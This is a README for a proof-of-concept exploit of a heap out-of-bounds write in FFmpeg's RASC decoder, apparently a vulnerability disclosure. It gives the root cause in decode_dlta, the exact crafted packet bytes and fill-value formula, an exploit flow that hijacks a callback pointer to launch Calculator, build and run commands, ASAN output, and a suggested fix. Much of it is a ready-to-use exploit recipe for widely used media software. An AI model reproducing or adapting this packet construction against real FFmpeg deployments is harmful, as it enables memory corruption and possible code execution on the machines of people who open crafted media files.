FFmpeg RASC DLTA calc PoC
This directory contains a standalone Calculator proof for a heap out-of-bounds write in FFmpeg's RASC decoder.
The PoC builds a RASC packet in memory, decodes it through the public libavcodec API, uses a valid custom get_buffer2 callback for the DR1 decoder, and redirects an adjacent callback pointer. The redirected callback writes a marker under /tmp and launches Calculator.
Status
Verified target:
FFmpeg upstream master
bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c
2026-06-26
Local result:
media-controlled RASC DLTA overwrite redirected callback
callback hijacked callback reached
marker:present
CalculatorApp 26628 6/26/2026 12:25:53 PM
Files
poc/ffmpeg_rasc_dlta_calc_poc.c
scripts/build_from_checkout.sh
scripts/run_calc_pop.sh
evidence/current-master-asan.txt
evidence/local-calc-pop.txt
SHA256SUMS.txt
Affected Target
- Product: FFmpeg
- Component:
libavcodecRASC decoder - Decoder:
AV_CODEC_ID_RASC - File reachability: AVI/RIFF
RASCFourCC maps toAV_CODEC_ID_RASC - Verified commit:
bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c - Affected function:
decode_dlta() - Useful run types:
4,7,12,13
The local Calculator proof uses run type 7 because the 32-bit fill value comes directly from the bitstream.
Impact
A crafted RASC bitstream can drive a 32-bit read and 32-bit write at the end of a decoded frame row. With PAL8 output and a one-row 64-pixel frame, the decoder writes at plane + 63 while the row allocation is 64 bytes. One byte lands in the final row byte and the following three bytes overwrite adjacent heap data.
The included PoC places a callback pointer immediately after the 64-byte PAL8 plane. The DLTA command writes the low three bytes of the callback pointer, changing it from benign_callback to calc_callback. After decode completes, the PoC calls the pointer and Calculator launches.
Root Cause
decode_dlta() tracks a cursor cx inside a region with width w * s->bpp. The NEXT_LINE macro checks whether cx reached the row width only after each operation:
if (cx >= w * s->bpp) {
cx = 0;
cy--;
b1 -= s->frame1->linesize[0];
b2 -= s->frame2->linesize[0];
}
len--;
Several DLTA run types perform 32-bit accesses before the row-end check. Run type 7 reads and writes four bytes at the current byte cursor and then advances by four:
fill = bytestream2_get_le32(&dc);
AV_WL32(b1 + cx, AV_RL32(b2 + cx));
AV_WL32(b2 + cx, fill);
cx += 4;
NEXT_LINE
For PAL8, s->bpp is 1. A DLTA region with x = 63, w = 1, and h = 1 on a 64-pixel row sets b2 + cx to the final byte of the row. The 32-bit store crosses the row allocation boundary.
Packet Shape
The PoC packet contains two RASC chunks:
INIT
width = 64
height = 1
format = 8
palette = 1024 bytes
DLTA
x = 63
y = 0
w = 1
h = 1
compression = 0
command = 07 01 <fill32>
The fill32 value is generated at runtime:
fill32 = ((target_callback & 0x00ffffff) << 8) | 0x41
The byte 0x41 lands in the last byte of the frame plane. The next three bytes overwrite the low three bytes of the adjacent callback pointer.
Exploit Flow
- The PoC opens the RASC decoder through
avcodec_find_decoder()andavcodec_open2(). - The PoC installs
exploit_get_buffer2()as the decoder buffer provider. - RASC
INITcausesinit_frames()to allocateframe1andframe2. exploit_get_buffer2()returns a frame buffer where a callback pointer follows the 64-byte PAL8 plane.- RASC
DLTArun type7writes pastframe2->data[0] + 63. - The write changes
frame2_chunk->cbfrombenign_callbacktocalc_callback. - The PoC verifies the pointer value.
- The PoC invokes the callback.
- The callback writes
/tmp/ffmpeg_rasc_exec_demoand launches Calculator.
Build
Clone FFmpeg and build the PoC against a RASC-only static libavcodec build:
git clone https://github.com/FFmpeg/FFmpeg.git /tmp/ffmpeg
./scripts/build_from_checkout.sh /tmp/ffmpeg /tmp/ffmpeg-rasc-build ./ffmpeg_rasc_dlta_calc_poc
Dependencies:
Linux or WSL
gcc
make
zlib development headers
FFmpeg build dependencies for the selected platform
The build script configures FFmpeg with:
--disable-programs
--disable-autodetect
--disable-everything
--enable-zlib
--enable-decoder=rasc
Run
./scripts/run_calc_pop.sh ./ffmpeg_rasc_dlta_calc_poc
Expected output:
[addr] benign_callback=0x5fec957072c9
[addr] calc_callback=0x5fec957072e3
[ptr] frame1 callback after decode=0x5fec957072c9
[ptr] frame2 callback after decode=0x5fec957072e3
[ptr] expected target=0x5fec957072e3
[ok] media-controlled RASC DLTA overwrite redirected callback
[callback] hijacked callback reached
marker:present
On WSL, the callback starts Calculator through PowerShell Start-Process calc.exe. On Linux desktops, the callback tries common calculator binaries after writing the marker file.
Local Verification
Calculator proof:
[addr] benign_callback=0x5fec957072c9
[addr] calc_callback=0x5fec957072e3
[ptr] frame1 callback after decode=0x5fec957072c9
[ptr] frame2 callback after decode=0x5fec957072e3
[ptr] expected target=0x5fec957072e3
[ok] media-controlled RASC DLTA overwrite redirected callback
[callback] hijacked callback reached
marker:present
ProcessName Id StartTime
----------- -- ---------
ApplicationFrameHost 24728 6/25/2026 9:55:34 PM
CalculatorApp 26628 6/26/2026 12:25:53 PM
ASAN proof on current master:
==513==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 4 at 0x50a000000442 thread T0
#0 decode_dlta build/src/libavcodec/rasc.c:421:17
#1 decode_frame build/src/libavcodec/rasc.c:712:19
0x50a000000442 is located 2 bytes after 64-byte region [0x50a000000400,0x50a000000440)
SUMMARY: AddressSanitizer: heap-buffer-overflow build/src/libavcodec/rasc.c:421:17 in decode_dlta
Recovery-mode ASAN on the same source shape reports the follow-on writes:
READ of size 4
decode_dlta rasc.c:421:17
WRITE of size 4
decode_dlta rasc.c:421:17
WRITE of size 4
decode_dlta rasc.c:422:17
Patch Shape
The row-boundary check needs to happen before every 32-bit read or write in DLTA run handlers. For run types that operate on four-byte units, the decoder should reject a command when fewer than four bytes remain in the current row or perform a safe row transition before the 32-bit access.
The guarded condition for a 32-bit operation is:
cx + 4 <= w * s->bpp
The same guard applies to run types 4, 7, 12, and 13.
References
- FFmpeg project: https://ffmpeg.org/
- FFmpeg source: https://github.com/FFmpeg/FFmpeg
- RASC decoder source: https://github.com/FFmpeg/FFmpeg/blob/master/libavcodec/rasc.c
- RIFF codec tags: https://github.com/FFmpeg/FFmpeg/blob/master/libavformat/riff.c